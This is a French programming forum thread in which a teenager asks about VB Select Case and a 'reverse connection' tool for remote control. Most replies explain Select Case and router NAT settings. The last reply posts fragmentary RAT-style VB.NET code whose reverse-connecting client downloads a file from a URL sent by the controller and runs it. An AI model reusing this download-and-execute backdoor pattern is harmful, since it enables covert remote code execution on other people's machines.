Select case

Question

Bonjours a Tous .


Je me m'appelle leo j'ai 14 ans et je souhaite creer un logiciel pour mon usage personnelle c'est un logiciel qui utilise pas la simple connection mais la reverse ( Reseau) J'ai demandé a des copain ce qui falait faire il m'ont dit d'inversé mais j'ai pas trop compris et une autre question je n'arrive pas a utiliser les select case .


Exemple :


Select case ( Que faut t'il mettre la sachant que mon winsock se nomme winsock 1 )


case "1"


opencd 


end select 


end sub

Merci d'avoir li et repondu

Ps: Pouvez vous me donner tous le code du client et du serveur svp

Merci +++

cs_M51 · Answer

Tout d'abord tu peux trouver beaucoup d'aide en ligne (F1), en particulier select case

Select case toto 'dans notre cas toto contient une chaine, sinon pas de "" dans les cases
case "ici"
XXXXXXX
else case 
YYYY
end select

Plus de données sur VB.net ici: http://plasserre.developpez.com/vsommair.htm

jrivet · Answer

SAlut,

Ps: Pouvez vous me donner tous le code du client et du serveur svp:  il y a une section code qui regorge d'exemples a toi de chercher un peu

principe du select case

Dim Str As String
Str = "Toto"

Select Case Str
   Case "ICI": CodeAExecuterSiStrVautICI
   'c'est celui la qui sera executer dans l'exemple
   Case "Toto": CodeAExecuterSiStrVautToto
   Case Else: CodeAExectuerPourToutAutreValeur
End Select , ----
[code.aspx?ID=41455 By Renfield]

@+: Ju£i?n
Pensez: Réponse acceptée

leo2708 · Answer

Je n'est pas trop compris 

Peut tu m' expliquer pourquoi tu a mi toto ?
Moi je ve pouvoir executer la commande a distance et la commande c'est open cd je connait le code pour ouvrir c'est : mciSendString "SetCDAudioDoorOpenWait", 0&amp;, 0, 0

Et dans le module je met : p rivate  Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA"
 _
                                       ( ByVal  lpstrCommand AsString,  ByVal  lpstrReturnString As
 Any, _                                        ByVal  wReturnLength As Integer,  ByVal  hCallback As Integer) As Long
               

Donc peut tu me faire toto avec ce ke je t'est donner

lolokun · Answer

Salut,

Il faudrait expliquer un peu plus ce que tu cherches à faire..
Le select case permet de faire telle ou telle action suivant la valeur de la variable que tu selectionnes.
Exemple:
Dim i as integer
i=1
select case i
case 1 :
'condition vraie-> on a initialisé i à 1 donc le code ici sera effectué
mciSendString 
"SetCDAudioDoorOpenWait", 0&amp;, 0, 0
case 2 :
'condition fausse donc le code ici ne sera pas effectué.
case else:
'condition fausse donc le code ici ne sera pas effectué.
End select.

leo2708 · Answer

Bon voila le code de mon client :
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 15555
End Sub
Private Sub Winsock_Close()
Winsock.Close
Winsock.Listen
End Sub
Private Sub Winsock_Connect()
Winsock.SendData "Connecté"
End Sub
Private Sub Winsock_ConnectionRequest(ByVal requestID As Long)
Winsock.Close
Winsock.Accept requestID
End Sub



Et Voici celui du serveur


Private Sub Winsock_ConnectionRequest(ByVal requestID As Long)
Winsock.Close
Winsock.Accept requestID
End Sub
Private Sub Form_Load()
Winsock.Close
Winsock.Listen
End Sub
Private Sub Winsock_Close()
Winsock.Close
Winsock.Listen
End Sub


Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock.GetData dataIf Left(data, 8) "Connecté" Then Label1.Caption "Connecté"
End Sub

Je souhaite rajouter la fonction arreter le pc .
Et je souhaite si possible de le mettre en reverse

cs_etniqs · Answer

JE vais donc traduire :

Sallu,

Ils fodrez expliké un peut plusse se ke tus cherche a faires..
Leu select case permmets deux fère tel houx telles aksion suivants là valleur deux l'a varriable ke tu sailecttionne.

Exammple:

Dim i as integer
i=1
select case i
case 1 :
'condi ssion vrét-> ont n'a initiallizzé i a 1 donc le code ici sera effectué
mciSendString "SetCDAudioDoorOpenWait", 0&, 0, 0
case 2 :
'condi sion fosse donc le code ici ne sera pas effectué.
case else:
'condi sion fosse donc le code ici ne sera pas effectué.
End select.


______________________________________________________________________
Je nait pa trôt compris 

Peut tu m' expliquer pourquoi tu a mi toto ?
Moi je ve pouvoir executer la commande a distance et la commande c'est open cd je connait le code pour ouvrir c'est : mciSendString "SetCDAudioDoorOpenWait", 0&, 0, 0

Et dans le module je met : private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _
                                       (ByVal lpstrCommand AsString, ByVal lpstrReturnString As Any, _
                                       ByVal wReturnLength As Integer, ByVal hCallback As Integer) As Long                

Donc peut tu me faire toto avec ce ke je t'est donner

leo2708 · Answer

Bon voila le code de mon client :
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 15555
End Sub
Private Sub Winsock_Close()
Winsock.Close
Winsock.Listen
End Sub
Private Sub Winsock_Connect()
Winsock.SendData "Connecté"
End Sub
Private Sub Winsock_ConnectionRequest(ByVal requestID As Long)
Winsock.Close
Winsock.Accept requestID
End Sub



Et Voici celui du serveur


Private Sub Winsock_ConnectionRequest(ByVal requestID As Long)
Winsock.Close
Winsock.Accept requestID
End Sub
Private Sub Form_Load()
Winsock.Close
Winsock.Listen
End Sub
Private Sub Winsock_Close()
Winsock.Close
Winsock.Listen
End Sub


Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock.GetData dataIf Left(data, 8) "Connecté" Then Label1.Caption "Connecté"
End Sub

Je souhaite rajouter la fonction arreter le pc .
Et je souhaite si possible de le mettre en reverse

jrivet · Answer

Re,
> [auteurdetail.aspx?ID=768598 leo2708]: ecoute un peu ce que l'ont te dit au lieu de remmettre texto la meme chose.
As tu pris la peine de testé les explications proposées????

Si tu ne prends pas très vite les bonnes habitudes (14 ans ou pas d'ailleurs) tu cours à ta perte.
@+: Ju£i?n
Pensez: Réponse acceptée

leo2708 · Answer

Re all je voudrais vous remercier de vos reponse mais je les ai essayé mais aucune marche mais cela doit etre de ma faute je pense que je le mais pas au bon endroit pouvait vous m'expliquez s'il vous plait avec le code que je vous ai donné .

J'aurais une autre question est ce que ont peut le mettre en reverse connection et non en simple ?

Merci a tous d'avoir repondu parce je c'est que je peut être chian desolé

PCPT · Answer

au moins tu sais une chose vraie...

pourquoi mettre en "reverse connexion", c'est quoi pour toi

case 1, c'est quoi 1, une valeur renvoyée? donc à mettre dans le dataarrival

pourquoi atendre de nous qu'on te donne une suite en rapport avec ce que tes potes t'ont dit puisqu'ils ne t'ont pas guidé...

jète un oeil dans les sources existantes, çà te servira bien plus que de recevoir des explications que tu ne fais que survoler

et pour tes prochains topics, applique toi en orthographe stp
et pas besoin d'écrire pour les non-voyants

<hr size="2" width="100%" />Prenez un instant pour répondre à [infomsg_SONDAGE-POP3-POUR-CS_769706.aspx ce sondage] svp

leo2708 · Answer

Désolé pour l'orthographe j'arrive pas . "pourquoi mettre en "reverse connexion", c'est quoi pour toi.
C'est pour moi une connection qui passe les routeurs donc c'est mieu pour moi et mon pot on veut s'aider a distance . Si tu c'est comment on fait sa serait simpa.

Merci a vous

PCPT · Answer

on ne saute pas un routeur, on le configure

si par "reverse" tu voulais alors dire : rendre le client "serveur" pour que la connexion soit inverse, le client devenu serveur serait alors ensuite bloqué par le routeur du serveur d'origine donc le problème serait le même

à vous de configurer vos NAT, aucun code là dedans...
<hr size="2" width="100%" />Prenez un instant pour répondre à [infomsg_SONDAGE-POP3-POUR-CS_769706.aspx ce sondage] svp

leo2708 · Answer

A ok mais serait tu le faire quand meme ? Tu pe me passer ton msn pour qu'on parle tout les 2 ? stp envoi la par mp

PCPT · Answer

lis ton mode d'emploi, ou rapproches-toi du site de ton fabriquant si tu ne l'as plus

y'a pas de dev dans ta question, et aucune raison de communiquer par msn...
ta manip prend 20 secondes montre en main, bon courage

leo2708 · Answer

lis ton mode d'emploi, ou rapproches-toi du site de ton fabriquant si tu ne l'as plus

Quel mode d'emploi quel fabricant pourquoi me dit tu sa ?

PCPT · Answer

NAT => Network Allocation Table
accessible par l'interface du routeur, donc propre à chaque routeur

sauf les boitiers imaginaires, tous les routeurs sont fabriqués par des fabriquants....

leo2708 · Answer

Mais moi je c'est le configurer mais alors a quoi sert le reverse ?

PCPT · Answer

entre 2 PC, à rien.
surtout depuis l'apparition des routeurs :)

ne suis pas bêtement la piste que d'autres (tes potes?..) t'ont soufflé sans explication, c'est un cul de sac

<hr size="2" width="100%" />Prenez un instant pour répondre à [infomsg_SONDAGE-POP3-POUR-CS_769706.aspx ce sondage] svp

leo2708 · Answer

ok bon alors reston en simple mais peut tu m'expliquer les case je comprend rien avant je lavais fait mais maintenent je m'en rapel plu. Je voudrais par exemple eteindre le pc ? comment on fait

leo2708 · Answer

Mais j'ai une question y'a na qui passe les routeur coment cela ce fait til

montana54 · Answer

Je vais t'aider pour ta reverse connexion mon ami, j'ai très bien compris ton problème mais vois tu si tu ne boss pas un minimum les cours en .net tu ne feras que copier coller sans comprendre je ne vais donc pas tout détailler j ai autre chose a faire... 
en faite pour la reverse connexion c'est simple,

Le client:

Imports System.IO, System.Net, System.Net.Sockets ' ici les "imports" vois ce qu 'est un imports dans tes cours.
Public Class Main 'ici la feuille de lancement de ton programme revois tes cours si tu comprends rien
    Dim Listener As TcpListener 'des cours ici aussi existes sur l'utilisation du Tcp client 
    Dim Client As TcpClient
    Dim ClientList As New List(Of ChatClient)
    Dim sReader As StreamReader
    Dim cClient As ChatClient 'ici une fonction de mon programme que je déclare si tu comprends rien vois les cours sur les variables...

ici c'est la configue du client en mode "écoute" (pour ta reverse connexion) donc de manière logique le server sera a configurer en fonction de
    Private Sub FrmMain_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        cClient.Send("BYE")
        Invalidate()
        Listener.Stop()
        End
    End Sub
    Sub xLoad() Handles Me.Load
        Listener =  New TcpListener(IPAddress.Any, 8080)
        Listener.Start()
        Listener.BeginAcceptTcpClient(New AsyncCallback(AddressOf AcceptClient), Listener)
    End Sub
    Sub AcceptClient(ByVal ar As IAsyncResult)
        cClient = New ChatClient(Listener.EndAcceptTcpClient(ar))
        AddHandler (cClient.MessageRecieved), AddressOf MessageRecieved
        AddHandler (cClient.ClientExited), AddressOf ClientExited
        ClientList.Add(cClient)
        cClient.Send("MBOX|Welcome! All credits to Nathan72389!|Rat")
        Listener.BeginAcceptTcpClient(New AsyncCallback(AddressOf AcceptClient), Listener)
    End Sub 

le server:
 attention ici il manque pleins de chose du genre constant, variable form etc... mais pour la théorie voila une partie du code en espérant t avoir aiguillé, tu auras sans aucun doute besoin de suivre des cours réfléchis pas trop tu perds du temps go suivre les cours du site ils sont très bien fait vive VbFrance!! 
Imports System.IO, System.Net, System.Net.Sockets
   Sub Connexion()
        While IsConnected  = False
            Client = New TcpClient("127.0.0.1", 8080)
            Client.GetStream.BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf Read), Nothing)
            Send(Nick)
            System.Threading.Thread.Sleep(9001)
        End While
    End Sub
    Sub Read(ByVal ar As IAsyncResult)
        Try
            Dim responce As String = New StreamReader(Client.GetStream).ReadLine
            If responce.Contains("MBOX") Then
                Dim Arr() As String = Split(responce, "|")
                MsgBox(Arr(1), , Arr(2))
            End If
            If responce <> "" Then
                IsConnected = True
            End If
            If responce = "BYE" Then
                IsConnected = False
                Client.Close()
            End If
            If responce = "DIE" Then
                End
            End If
            If responce.Contains("DL") Then
                Dim P As New Random
                Dim Q As Integer = P.Next(11111, 99999)
                Dim Arr() As String = Split(responce, "|")
                Dim WC As New WebClient
                Dim FName As String = Arr(1).LastIndexOf("/"c)
                WC.DownloadFileAsync(New Uri(Arr(1)), CurDir() & "" & FName)
                Shell(CurDir() & Q & ".exe")
            End If
            Client.GetStream.BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
        Catch ex As Exception
            Connexion()
            Exit Sub
        End Try
    End Sub

au faite c'est mon 1er poste bonjour a tous!

montana54 · Answer

lol J avais pas vu la date... désolé je suis pas réveillé...
J aurais bien supprimé mon poste mais je n arrive pas a le rééditer.

Select case

22 réponses

Votre réponse

Discussions similaires